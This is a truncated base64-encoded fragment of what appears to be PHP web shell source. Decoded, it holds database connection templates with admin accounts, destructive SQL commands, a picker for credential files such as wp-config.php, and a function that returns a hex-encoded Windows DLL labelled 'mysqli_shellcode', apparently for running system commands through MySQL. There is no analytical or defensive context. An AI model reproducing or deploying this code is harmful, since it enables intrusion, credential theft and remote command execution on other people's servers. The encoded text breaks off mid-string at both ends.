VcJykudmFsdWUpOwoJaWYodD09InV0Zi04Iil7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCd0eHRcJykudmFsdWUgPSBiYXNlNjRlbmNvZGUodXRmMTZ0bzgoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCd0eHRcJykudmFsdWUpKTt9CicpOwogICAgICAgIGlmIChzdWJzdHIoUEhQX1ZFUlNJT04sIDAsIDEpID49IDUpIHsKICAgICAgICAgICAgaHRtbF9uKCdpZih0PT0iZ2JrIiB8fCB0PT0iZ2IyMzEyIil7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCd0eHRcJykudmFsdWUgPSBiYXNlNjRlbmNvZGUodXRmMTZ0bzgoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCd0eHRcJykudmFsdWUpKTt9Jyk7CiAgICAgICAgfQogICAgICAgIGh0bWxfbignCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ2VkaXRvclwnKS5zdWJtaXQoKTt9Cn0nKTsKICAgIH0gZWxzZWlmICgkbnVtID09ICIzIikgewogICAgICAgIGh0bWxfbignZnVuY3Rpb24gRnVsbChpKXsKICAgaWYoaT09MCB8fCBpPT01KXsKICAgICByZXR1cm4gZmFsc2U7CiAgIH0KICBTdHIgPSBuZXcgQXJyYXkoMTIpOwoJU3RyWzFdID0gIlByb3ZpZGVyPU1pY3Jvc29mdC5KZXQuT0xFREIuNC4wO0RhdGEgU291cmNlPVxkYi5tZGIiOwoJU3RyWzJdID0gIkRyaXZlcj17U3FsIFNlcnZlcn07U2VydmVyPSwxNDMzO0RhdGFiYXNlPURiTmFtZTtVaWQ9c2E7UHdkPSoqKioiOwoJU3RyWzNdID0gIkRyaXZlcj17TXlTcWx9O1NlcnZlcj07UG9ydD0zMzA2O0RhdGFiYXNlPURiTmFtZTtVaWQ9cm9vdDtQd2Q9KioqKiI7CglTdHJbNF0gPSAiUHJvdmlkZXI9TVNEQU9SQS4xO1Bhc3N3b3JkPcPcwus7VXNlciBJRD3VyrrFO0RhdGEgU291cmNlPbf+zvHD+ztQZXJzaXN0IFNlY3VyaXR5IEluZm89VHJ1ZTsiOwoJU3RyWzZdID0gIlNFTEVDVCAqIEZST00gW1RhYmxlTmFtZV0gV0hFUkUgSUQ8MTAwIjsKCVN0cls3XSA9ICJJTlNFUlQgSU5UTyBbVGFibGVOYW1lXShVU0VSLFBBU1MpIFZBTFVFUyhcJ3dlYnNpdGVfXCcsXCdteXBhc3NcJykiOwoJU3RyWzhdID0gIkRFTEVURSBGUk9NIFtUYWJsZU5hbWVdIFdIRVJFIElEPTEwMCI7CglTdHJbOV0gPSAiVVBEQVRFIFtUYWJsZU5hbWVdIFNFVCBVU0VSPVwnd2Vic2l0ZV9cJyBXSEVSRSBJRD0xMDAiOwoJU3RyWzEwXSA9ICJDUkVBVEUgVEFCTEUgW1RhYmxlTmFtZV0oSUQgSU5UIElERU5USVRZICgxLDEpIE5PVCBOVUxMLFVTRVIgVkFSQ0hBUig1MCkpIjsKCVN0clsxMV0gPSAiRFJPUCBUQUJMRSBbVGFibGVOYW1lXSI7CglTdHJbMTJdID0gIkFMVEVSIFRBQkxFIFtUYWJsZU5hbWVdIEFERCBDT0xVTU4gUEFTUyBWQVJDSEFSKDMyKSI7CglTdHJbMTNdID0gIkFMVEVSIFRBQkxFIFtUYWJsZU5hbWVdIERST1AgQ09MVU1OIFBBU1MiOwoJaWYoaTw9NCl7CgkgIERiRm9ybS5zdHJpbmcudmFsdWUgPSBTdHJbaV07CiAgfWVsc2V7CiAgCURiRm9ybS5zcWwudmFsdWUgPSBTdHJbaV07CiAgfQogIHJldHVybiB0cnVlOwogIH0nKTsKICAgIH0gZWxzZWlmICgkbnVtID09ICI0IikgewogICAgICAgIGh0bWxfbignZnVuY3Rpb24gRnVsbGwoaSl7CiAgIGlmKGk9PTApewogICAgIHJldHVybiBmYWxzZTsKICAgfQogIFN0ciA9IG5ldyBBcnJheSg4KTsKCVN0clsxXSA9ICJjb25maWcuaW5jLnBocCI7CglTdHJbMl0gPSAiY29uZmlnLmluYy5waHAiOwoJU3RyWzNdID0gImNvbmZpZ19iYXNlLnBocCI7CglTdHJbNF0gPSAiY29uZmlnLmluYy5waHAiOwoJU3RyWzVdID0gImNvbmZpZy5waHAiOwoJU3RyWzZdID0gIndwLWNvbmZpZy5waHAiOwoJU3RyWzddID0gImNvbmZpZy5waHAiOwoJU3RyWzhdID0gIm15c3FsLnBocCI7CglzZm9ybS5jb2RlLnZhbHVlID0gU3RyW2ldOwogIHJldHVybiB0cnVlOwogIH0nKTsKICAgIH0KICAgIGh0bWxfbignPC9zY3JpcHQ+Jyk7Cn0KCmZ1bmN0aW9uIGNzc19sZWZ0KCkKewogICAgaHRtbF9uKCc8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgoJLm1lbnV7d2lkdGg6MTUycHg7bWFyZ2luLWxlZnQ6YXV0bzttYXJnaW4tcmlnaHQ6YXV0bzt9CgkubWVudSBkbHttYXJnaW4tdG9wOjJweDt9CgkubWVudSBkbCBkdHt0b3AgbGVmdCByZXBlYXQteDt9CgkubWVudSBkbCBkdCBhe2hlaWdodDoyMnB4O3BhZGRpbmctdG9wOjFweDtsaW5lLWhlaWdodDoxOHB4O3dpZHRoOjE1MnB4O2Rpc3BsYXk6YmxvY2s7Y29sb3I6I0ZGRkZGRjtmb250LXdlaWdodDpib2xkOwoJdGV4dC1kZWNvcmF0aW9uOm5vbmU7IDEwcHggN3B4IG5vLXJlcGVhdDt0ZXh0LWluZGVudDoyMHB4O2xldHRlci1zcGFjaW5nOjJweDt9CgkubWVudSBkbCBkdCBhOmhvdmVye2NvbG9yOiNGRkZGQ0M7fQoJLm1lbnUgZGwgZGQgdWx7bGlzdC1zdHlsZTpub25lO30KCS5tZW51IGRsIGRkIHVsIGxpIGF7Y29sb3I6IzAwMDAwMDtoZWlnaHQ6MjdweDt3aWRvd3M6MTUycHg7ZGlzcGxheTpibG9jaztsaW5lLWhlaWdodDoyN3B4O3RleHQtaW5kZW50OjI4cHg7CgliYWNrZ3JvdW5kOiNCQkJCQkIgbm8tcmVwZWF0IDEzcHggMTFweDtib3JkZXItY29sb3I6I0ZGRiAjNTQ1NDU0ICM1NDU0NTQgI0ZGRjsKCWJvcmRlci1zdHlsZTpzb2xpZDtib3JkZXItd2lkdGg6MXB4O30KCS5tZW51IGRsIGRkIHVsIGxpIGE6aG92ZXJ7YmFja2dyb3VuZDojRkZGIG5vLXJlcGVhdCAxM3B4IDExcHg7Y29sb3I6I0ZGNjYwMDtmb250LXdlaWdodDpib2xkO30KCTwvU1RZTEU+Jyk7CiAgICBodG1sX24oJzxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPgoJZnVuY3Rpb24gZ2V0T2JqZWN0KG9iamVjdElkKXsKCSBpZihkb2N1bWVudC5nZXRFbGVtZW50QnlJZCAmJiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChvYmplY3RJZCkpIHsKCSByZXR1cm4gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQob2JqZWN0SWQpOwoJIH0KCSBlbHNlIGlmIChkb2N1bWVudC5hbGwgJiYgZG9jdW1lbnQuYWxsKG9iamVjdElkKSkgewoJIHJldHVybiBkb2N1bWVudC5hbGwob2JqZWN0SWQpOwoJIH0KCSBlbHNlIGlmIChkb2N1bWVudC5sYXllcnMgJiYgZG9jdW1lbnQubGF5ZXJzW29iamVjdElkXSkgewoJIHJldHVybiBkb2N1bWVudC5sYXllcnNbb2JqZWN0SWRdOwoJIH0KCSBlbHNlIHsKCSByZXR1cm4gZmFsc2U7CgkgfQoJfQoJZnVuY3Rpb24gc2hvd0hpZGUob2JqbmFtZSl7CgkgIHZhciBvYmogPSBnZXRPYmplY3Qob2JqbmFtZSk7CgkgICAgaWYob2JqLnN0eWxlLmRpc3BsYXkgPT0gIm5vbmUiKXsKCQkJb2JqLnN0eWxlLmRpc3BsYXkgPSAiYmxvY2siOwoJCX1lbHNlewoJCQlvYmouc3R5bGUuZGlzcGxheSA9ICJub25lIjsKCQl9Cgl9Cgk8L3NjcmlwdD48ZGl2IGNsYXNzPSJtZW51Ij4nKTsKfQoKZnVuY3Rpb24gY3NzX21haW4oKQp7CiAgICBodG1sX24oJzxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+Cgkqe3BhZGRpbmc6MHB4O21hcmdpbjowcHg7fQoJYm9keSx0ZHtmb250LXNpemU6IDEycHg7Y29sb3I6IzAwZmYwMDtiYWNrZ3JvdW5kOiMyOTI5Mjk7fWlucHV0LHNlbGVjdCx0ZXh0YXJlYXtmb250LXNpemU6IDEycHg7YmFja2dyb3VuZC1jb2xvcjojRkZGRkNDO2JvcmRlcjoxcHggc29saWQgI2ZmZn0KCWJvZHl7Y29sb3I6I0ZGRkZGRjtmb250LWZhbWlseTpWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmOwoJaGVpZ2h0OjEwMCU7b3ZlcmZsb3cteTphdXRvO2JhY2tncm91bmQ6IzMzMzMzMztTQ1JPTExCQVItRkFDRS1DT0xPUjogIzIzMjMyMzsgU0NST0xMQkFSLUhJR0hMSUdIVC1DT0xPUjogIzIzMjMyMzsgU0NST0xMQkFSLVNIQURPVy1DT0xPUjogIzM4MzgzODsgU0NST0xMQkFSLURBUktTSEFET1ctQ09MT1I6ICMzODM4Mzg7IFNDUk9MTEJBUi0zRExJR0hULUNPTE9SOiAjMjMyMzIzOyBTQ1JPTExCQVItQVJST1ctQ09MT1I6ICNGRkZGRkY7U0NST0xMQkFSLVRSQUNLLUNPTE9SOiAjMzgzODM4O30KCWlucHV0LHNlbGVjdCx0ZXh0YXJlYXtiYWNrZ3JvdW5kLWNvbG9yOiNGRkZGQ0M7Ym9yZGVyOjFweCBzb2xpZCAjRkZGRkZGfQogICAgYXtjb2xvcjojZGRkO3RleHQtZGVjb3JhdGlvbjogbm9uZTt9YTpob3Zlcntjb2xvcjpyZWQ7YmFja2dyb3VuZDojMDAwfQoJLmFjdGFsbHtiYWNrZ3JvdW5kOiMwMDAwMDA7Zm9udC1zaXplOjE0cHg7Ym9yZGVyOjFweCBzb2xpZCAjOTk5OTk5O3BhZGRpbmc6MnB4O21hcmdpbi10b3A6M3B4O21hcmdpbi1ib3R0b206M3B4O2NsZWFyOmJvdGg7fQoJPC9TVFlMRT48Ym9keSBzdHlsZT0idGFibGUtbGF5b3V0OmZpeGVkOyB3b3JkLWJyZWFrOmJyZWFrLWFsbDsgRklMVEVSOiBwcm9naWQ6RFhJbWFnZVRyYW5zZm9ybS5NaWNyb3NvZnQuR3JhZGllbnQoZ3JhZGllbnRUeXBlPTAsc3RhcnRDb2xvclN0cj0jNjI2MjYyLGVuZENvbG9yU3RyPSMxQzFDMUMpIj4KCTx0YWJsZSB3aWR0aD0iODUlIiBib3JkZXI9MCBiZ2NvbG9yPSIjNTU1NTU1IiBhbGlnbj0iY2VudGVyIj4nKTsKfQoKZnVuY3Rpb24gY3NzX2Zvb3QoKQp7CiAgICBodG1sX24oJzwvdGQ+PC90cj48L3RhYmxlPicpOwp9CgpmdW5jdGlvbiBteXNxbGlfc2hlbGxjb2RlKCkKewogICAgcmV0dXJuICIweDRENUE5MDAwMDMwMDAwMDAwNDAwMDAwMEZGRkYwMDAwQjgwMDAwMDAwMDAwMDAwMDQwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMEU4MDAwMDAwMEUxRkJBMEUwMEI0MDlDRDIxQjgwMTRDQ0QyMTU0Njg2OTczMjA3MDcyNkY2NzcyNjE2RDIwNjM2MTZFNkU2Rjc0MjA2MjY1MjA3Mjc1NkUyMDY5NkUyMDQ0NEY1MzIwNkQ2RjY0NjUyRTBEMEQwQTI0MDAwMDAwMDAwMDAwMDBGMjk1MDIwOEI2RjQ2QzVCQjZGNDZDNUJCNkY0NkM1QjkxMzIxNzVCQjRGNDZDNUI5MTMyMTE1QkI3RjQ2QzVCOTEzMjAyNUJCNEY0NkM1QjkxMzIwMTVCQkJGNDZDNUI3NUZCMzE1QkI1RjQ2QzVCQjZGNDZENUI5QUY0NkM1QjkxMzIxRDVCQjdGNDZDNUI5MTMyMTY1QkI3RjQ2QzVCOTEzMjE0NUJCN0Y0NkM1QjUyNjk2MzY4QjZGNDZDNUIwMDAwMDAwMDAwMDAwMDAwNTA0NTAwMDA0QzAxMDMwMDRFMTBBMzREMDAwMDAwMDAwMDAwMDAwMEUwMDAwMjIxMEIwMTA4MDAwMDEwMDAwMDAwMTAwMDAwMDA2MDAwMDBEMDdCMDAwMDAwNzAwMDAwMDA4MDAwMDAwMDAwMDAxMDAwMTAwMDAwMDAwMjAwMDAwNDAwMDAwMDAwMDAwMDAwMDQwMDAwMDAwMDAwMDAwMDAwOTAwMDAwMDAxMDAwMDAwMDAwMDAwMDAyMDAwMDAwMDAwMDEwMDAwMDEwMDAwMDAwMDAxMDAwMDAxMDAwMDAwMDAwMDAwMDEwMDAwMDAwNzg4MjAwMDAwODAyMDAwMEIwODEwMDAwQzgwMDAwMDAwMDgwMDAwMEIwMDEwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA4MDg0MDAwMDEwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDlDN0QwMDAwNDgwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDU1NTA1ODMwMDAwMDAwMDAwMDYwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA0MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDgwMDAwMEUwNTU1MDU4MzEwMDAwMDAwMDAwMTAwMDAwMDA3MDAwMDAwMDBFMDAwMDAwMDQwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwNDAwMDAwRTAyRTcyNzM3MjYzMDAwMDAwMDAxMDAwMDAwMDgwMDAwMDAwMDYwMDAwMDAxMjAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA0MDAwMDBDMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDMzMkUzMDM1MDA1NTUwNTgyMTBEMDkwMjA5NDdBMzdCNDdGQUU2MTAxOTQ2NTUwMDAwQzkwQjAwMDAwMDIwMDAwMDI2MDAwMEE0RkZGRkZGRkY4QjRDMjQwODMzQzAzOTAxNzQxNjU2NTc4QjdDMjQxNDZBMEM1OUJFMDAwMDEwRENGM0E1NjZBNTVGQjAwMTVFQUVGREJCRkRDM0MzOEI0NDI0MEMxQjZBMDcxNzExMTA4QkY4MTkzM0ZGREZFREI3MTgxREE0NUZDNzAxMUUxMjAwNUUyMTA4ODMzODAxNzUxMjhCNDAwNDBERjY3NzZGMDcwMDc1MEExMDA0QzYwMDAxMzJDMEMzNTQwQTZGMkZGNjhEM0MzMDU0QTQ1NTMyMkQwOEZGMzBCRkJERkJEREZGMTU2RDg4ODVDMDU5NzUwODU2MTRDNjAxMDExQkM4NTY4RDcxMDFGRkRCQjdGRjhBMTE0MTg0RDI3NUY5OEI1NDE0MkJDRTg5MEEzMjU1OEJFQzhCNEQwQzgzMzkwMjJEMzZEODZGNTM3NDE0OEI3RDEwOTE1QzU0NTM2RjY3RUZGN0VCNEM4QjQxN0Q3NDBGMUI3MDdDMUJFQkU1ODM2NkVDRkZFRDYwMDQwMDFBMEM4QjQ4MDQ4QjAwOEQ0NDAxMDI1MDcyQTAzN0YyREQ2RTRFMDg4OTE4NzUxMTMwMDZBNDRDREQ5NkVGRURFQkIyQjg1RjVFNURBMzA0MEMyODc0MDhEQkY2Qzc5RTMzQTg1OTEzNTM1NjhCNzQyNDEwRDg3ODUzNDZCQjcwN0I2QjAyQjY0NjA4NTFDNzhENUM0MzU3RTgyNENFRERGRDc3MEFCODE0MDBDNjA0MDcwMDA4RkY3MDA0MUUwNTc2N0I0M0IyNTMxQTIyQzQxODUzNTcyMDAzMDA1NDQxMjZFMTM2MDg2QTk5NUI0MjBCN0U3ODBBODQwMzNCOTg1OTk5MUE4M0VDMENGQjVCRkJFQjk3MzVEOTU3NjgwMEYxNUNENjZBMDE4OTQ1RkMwNkJCNzVERDdGOEJGMDhCNDUwQ0M2MDYwMDMyNjg0OEMwMzczM0ZGMzk2REVERUYxRTlDOEIxRDA1OTA1MDZBMDRGRjc1RkMyQUFDRDM3RDJFQkNCRDk5MUNFQjQwMkRGQzhENDg3RTEwNDAyQkMxQjY4RDZEQkYxOEY4MDNDNzUwNTYwNkY0MzQ4QzJCRjg1MUJCQjVCMUJCMzAwM0ZFNTcxMDk0MEJENDdERjQ0NDYzRUVDMjE3NDEyMDJGNzVCQzEzMUNBNDBCMDNGQkZGODAzRTAwNTk3NDFBOEJDNkM2NDQzN0ZGMDA1NjdCMTRERjNBQjY4NTg5QjMwNjZDMTgyODVGMjA1RTVCQzlDM0Q2QjZBRTczRjNDOTUxRjc3RDUyNDdFMzMwNkREQjJDQ0I1MDA4QzlDMjZBOThGMEJGMTcyNkI0QjcxMDU0OEQ0NjAxQjIzQjVDNEYwOEVEREIwOUVFNTZGRjMxQkJBMDk0N0UwQzZBRkY4REMwODJCNTVEN0IyMDgyRUUwMkY4MDkyQzBGREJDNkMxMjMwMDVGRUU1RTZCNkEwQzEyNUU1OEY4ODY5MDk2MDk4NDgzNjVGQzFENDU1MEQwRUIwNzVCRDg1RUQ4MUI0MDVGNjVFOEM3NDJGRTI0RkYwRDBCREI4NTVGMUZDOUMyNEUzQjBEMDgyMDk2MDJEQkNFRkVFREYzQzNFOTA4MDY1NTU2Njg4MDAwMDA1NjgwOTY1NjA4QjhCRkNCMUY4NDg1RjY1OTU5QTMyMzU0MDQ1MDc1MDU0QkZFRUQ3NjJGQUM4MzI2MDA0MzA4MTY2RDA4M0UwOTA0QzcwNDI0RkYwOThGREQwNjA3NUQwQjU5MzNDMENGNTUzM0VEM0JDNTc1MEVERDdGODVERDM5MkQ2NjEwN0UyQjZFMTA4M0Y4MDE4QjA4MTBERDdENzdFMTU0OEIwOURCNTc4OTBBMjM0NDBGODVDQzc5NjRBMTE4NzcxQzYxQzMwNTgxMDRDMjM4NTUyMTIzNENFQjBERjZERkI1MTg0RDlEMDUxQTNCQzc3NDE3NjhFODAzQTAzQ0VFNzZDM0I2RkY1N0ExRDM5NkU3RUIwMzY2NDVBMTJCQjdGQkZCQjc0ODBENkEwMjVGNzQwOTZBMUZFMDU2RUIzQzlFMTBDODA0NjBGQURDRjdDMEM3MDUxRjAxNUUxQTUwMjY3RkRGNzdCNkMwMDc1ODE3MjBCQzA0QjgxQjRBNTk4OUY3ODRBNkIxM0Q0QkVEQkM1NTA0NDA4MzEyQzk3REVGRDI1ODg1MUU2ODA3RTRERTQyOTRCQkJENzc2OUZGMzIxQzU3MDQyNjE4RkYwNUUwQkQ2RjZCREY1NDE0RjdEMzhFQ0QzRENBQjZDNjgwOURDOTBCQkU1NUM3NUJENzgzQkQxMEVCQkVFQkI5MTQwMjc0MEFCNzU5QkU4RDFEQjZFQjQ4MzU3MTNCNzgyNThCRDg4NURCQjhCNDEwREI2QzM0MTRFRUQ3RTFGOEVCRjQ1RjY4REE0NjA3QzEwMkRDODNFRjA0M0JGQjczRjE1MzA4MTFDNjgyQ0EwNjdDQUFCNDMwN0IxQjg1MjVFMzJENjBDNzdDNkM3Q0M5QkM5ODVCNURDMjBDM0UxMDI5Mjg2RkI4NkY4RDhCOEZGMjhCNUQwODFDNzNFNDMzQzlGMDREQkJEMjg5NEQzNzZBMjAwODY4M0JGMTc1MTAzOUZGQzc1Njg4QjYwQzE3RTQyNjEwM0JGMDc0MDU4M0ZFNUJBMUY1RUUwMjc1MkVCOTEwRDAzQkMxNDg4OTdGRDBEQjM5Rjc3NzNCODM3REU0MDAwRjg0OTNGNjExNUEwMzdGMTQ3RDI3RDk5QUE3MTI4MDA5NjIyN0ZFQUM5RERENkQxMzI0RkIyMDU3NTAxMzU3QTcyRjhERjZCQUQ4NTJEOTA2MTE1MzdDNjdCQjYxN0Y2QTAzNzU0MzRGMzQwMzIxNjg3NDZEM0NFQ0IwMkUyQzI1N0ZFQjFCRjBFQ0EzRjBCRDc1QkIwOUFBRTA1MDUxNTk1Q0U3Rjk0MTNBQjVEMjBCMkYwRjAxM0Q0NkRBNzYxOTA2MjkyQUU0MDdDMzFCNkQ1QjhEQUVFQzE2RkZENzlBMDg5QTA1MkNEMDMwN0NENjAwRDY4OEJDMTA5QjBDNzcwREFCMEMxMDA1MUU1OTM2Qzk4MUVDRTE4RjBEODYyOEM1NUQyMTIwQkMyMTFDODk1QTNGM0VFQ0I4MjExODg5QjMyMTE0MzgyMTEwNDEyMTBDN0RFRDZCREY2NjhDMTgzODA2MjUyQzA2MjAwOEE5MzQ0QkIzMDYwNTA0MjUwMDFBNkM2M0VERkJGQzlDOEYxNDMwOTE1NjI0MDcwNEFDRkRCN0Y0MjhGMjA4MDczNDhCODVFMEZDOUNBNkI2N0I1QjYzNzBDMjAxQTExQzE5MjAyNDEzNzc4RTUxM0ExODA5QzlFMDIwMUMxREIzN0NFRTI1RDM4OTg1RDgzMjBBMDREQzdFOEQ2RjA0RkYyNDM0Njg3OURGOTQ1OTYzRUM2M0IwNDEyOEZBRDQwQTJDRTdCREMzQjZEQTIwMTEwODIzNjg1QjlFMEE2NzhEMUIzMDY4MzQyRjAzM0M4ODdDNUNGODFFOUE1QjZBMTQ0NjUwQzBDMzkxQzFCNDM1RDY1OUU3Rjg1QTFCNjNFRDMyNEQzOTcwRDc2MTlGQjgzNjNCRkMzN0FDNTk4QjJFMjgyN0FERDBCQTYwRDkwQUUwRjNCOTAzQjE2REZCRENFNDUwMzUyQUE2MTJEQzBBRTQ1NDQwREI2MjZDNjBENkQzMEZFMDA5ODU5NzEwQzNENEU1RDEwN0ZCMzcxRERBRDk4NERDRDE2NkEwOUVDM0JCMEU2RUZGMUE2NUY3RDgxQkMwMDM1OTQ4N0VCOEIwMThCRjJEQjFENTdBMDQ1MUU1NzM1ODA2QjBEMkNCMjA0OUM2Rjc3MkYxMUYyM0MyOEU5MDY3MjAyMENDMDBEMEZBMDU0NzI3RDI4MTM5NEQ1QTc0OEJBMUYwOTcyOEVFOTczQzAzQzE4MTM4NTBDRTQ5MzZGODVCNjlGMDRGMTg3ODE4MEIwMTBGOTQxREMxRkMzNjEyQzMzNjg0NDgyNUM4MEZCNzQxMTQxMjFCREYwQTA1MDU3MTA2MzNEMkVDNTdDOUZBQkY5REY4MDgxODc2MUUyMDFEMEMzQkY5NzIwOThCNTgwODAzRDlENEZFQjc1OEUwNzIyMUMyMDE4M0MwMjgzQkQ2NzJFNjYwNjE5MjQxQzBDMkU5NzBCQTAzMzBEMEZEN0FGMDAwNTI5OTZDNTlBQjNERjk0QjdDQzczNjVENTAxMDlDNTkxMTJCMjkyNDRGMDdFMUY2QzFFODFGRjdDM0UwMDEzNEVCMjAyRTAwQzFBQzYzNkIwMUEzM0QzRUMwQTJCMTFEODU5NDI4NDVBQjEwNTgwNUUzQTQ5MTkxNEM1MEFDMkQxMzM0ODQ4M0ExRDI4NzIwNkRFQURDMzU5MzZCMjA0QTJDRTdBMzA5RTE2NDZEQTkxOTM4REUwOUYzMTg2QzAzNkQwQzAzOUI4RDJCRTBGQUE4MzE2QUMxREE4OUY2MzNDNTUwODk3MzgxMEI3OTZERUYwRDEzOUUwNEYwNjRBMzM3OTA0REMzQkJEQkE5MDk2OTAwNTk1RkZBOEJFNTVENTFEOEMzQkIxQkQ4MTAwMzY4MDMyNzY4NTBGOUM0Q0VDMkM1QjI4QzNFMTA2NEY4MkQyMjJEMjBGOEZFQTBCRjRFRTY0MEJCMUFCQzE5NThEM0JCODYzNjBEODVDMzJDMzNCNjNGMTUxMDE0MDRFQjYwNTY3MUY4RTNDNjFFNkJFRDQ0OEI3NTk0OEUwQjEwMzNGMDA3MTRFRENDOTU0MTE4OTkyNzFDQjBFMEJFRDFEQUY0MzMwQzExMTM3NTA3QkU0RjU5QzAyRkQxMkVFMjg1RjMwQUY3QzFFMDEwMEJGMDA2RTE2MzhGNDQwMEY3RDYwNzA0NUU1RjVCNDk1QzQ2NDY0NkM2MDU2MDY0Njg2QzAwNjQ0NzQ2NzRCMDAwMDA0NzJGRUMwMDAzMzYwRjIwMTgwMUZGN0ZGQkZGNEU2RjIwNjE3MjY3NzU2RDY1NkU3NDczMDk2QzZDNkY3NzY1NjQyMDI4NzU2NDY2M0EyMDZDRENERjc2RkY2OTYyNUY2RDc5NzM3MTZDMEQ1RjczMDg1RjY5NkU2NjZGMjkzOTZERkJGRkM4MTgyMDc2NjU3MjczNjk2RjZFMjAzMDJFMDEzNDFGQkZCRERERkQ0NTc4NzA2NTYzNzQ0NzY1Nzg2MTA3NkM3OTIwMUE2NTIwNzM3NDcyQjVBREI1NkYzRjY3MjA3NDc5MUI3NTcyNjE3MTA1RUMwMEI2MjE3MjJCNzQ3NzkxRkQzNkIwODAxRjNGODY3MjIwNkU2MTZEMUQ3QkZCODE0ODQzNkY3NTZDMjQ2RTZGNzRDNDYzNjE4Mzc1REJCNjEzMjAxODZEMjc3OUFGNzJGMTQ4QTlERDQ0MDkzRjIwMDMxMjEwMTNERjhCMDVGNkUxMTkyMTZCMDdEMEQ2RDVCMDIwMEYxRjJEMDcyOTNCQUM3QjA1RjkwQjBEMTdDQzI3REQwOTlCQjAwNzBGRDgxRjA5MjgwMzNDOTJFODVFNjExRjAzMEYwMzEzRTk0NEQ5MDAwMDAwRUMxQjY4MTRFNUIxMTlCRjQ0RkYwMDUxNTU2NTExMEZDOUE4QUFCMjAwQUE2NDU0NTU1NTU1MzJBQThFQTIyQTE5NUMwM0UwN0ZGQjA0MTAwMjAxNTc2MTY5NzQ0NjZGNzI1Mzg4QkYzNTAwN0U2QzY1NEY2MjZBOTkxNDU2Njk3Mjc0NzVGQjlCMDNFMDYxNkM0MTc2MEQ1MzY1NzQ0NTZFNzYxMkI2REYwMTcwNkY2RUMwNTY2MTcyNjk2MTYyMkI0MTc1MzcwMERFMTg0MzcyNjU5NDU0NjgwNjY0RkJBREZCQjYwRDQ3MjY0Mzc1NzI3MjIyNTAyQTYzNjU3MzczNDkxNEYwQzE2NjA5MjYxMzU0Njk2MzZCREI3RUI3MDFERTZFNkI1MTc1NjU3Mjc5NTAwMzY2ODQwRDgwNTg3QjZENjE2RTM3MTZGREY2RjZCM0Y3MDE0NDY5NzM2NzM3NEM2OTYyNzI3ODc5NDM2MTkyQjZENkZFREI3MzFBNDk3MzQ0NjU2Mjc1Njc2NzI2NkE2ODY1REJEQjc2Rjc0NkE0NTU2RTY4NDA2NDMxNjQ0NTc4NDY3MEFEQjBEOERCNzQ2OUFGNDY2OTZDNEExOTU3RDhCNjk0QjQxMjU0MTc2RDBERDg2QjBENkYzMjExNDk5MDBBNkI0MDlEQjlFNkRDNzY2RDcwODc2NTQ3NTE3Rjc3QjcyQzYxQUQ1NTUxMjIxQjVDNzUxN0RBNzY1Mzc5NzMxODZERUUzOTQxNzM3MzY1RURBMTYxRTEwOTc1Njk3QzRDN0Q1RjY4NkZERkVEMEE3RTM5NkQ1RjJFNUY2MTZENzM2NzA4Nzg2OTc0MEJEODZGN0YwQjY0NkE3NTNBNUY2NjY0Njk3NjI2MEFEQzBGNzZBM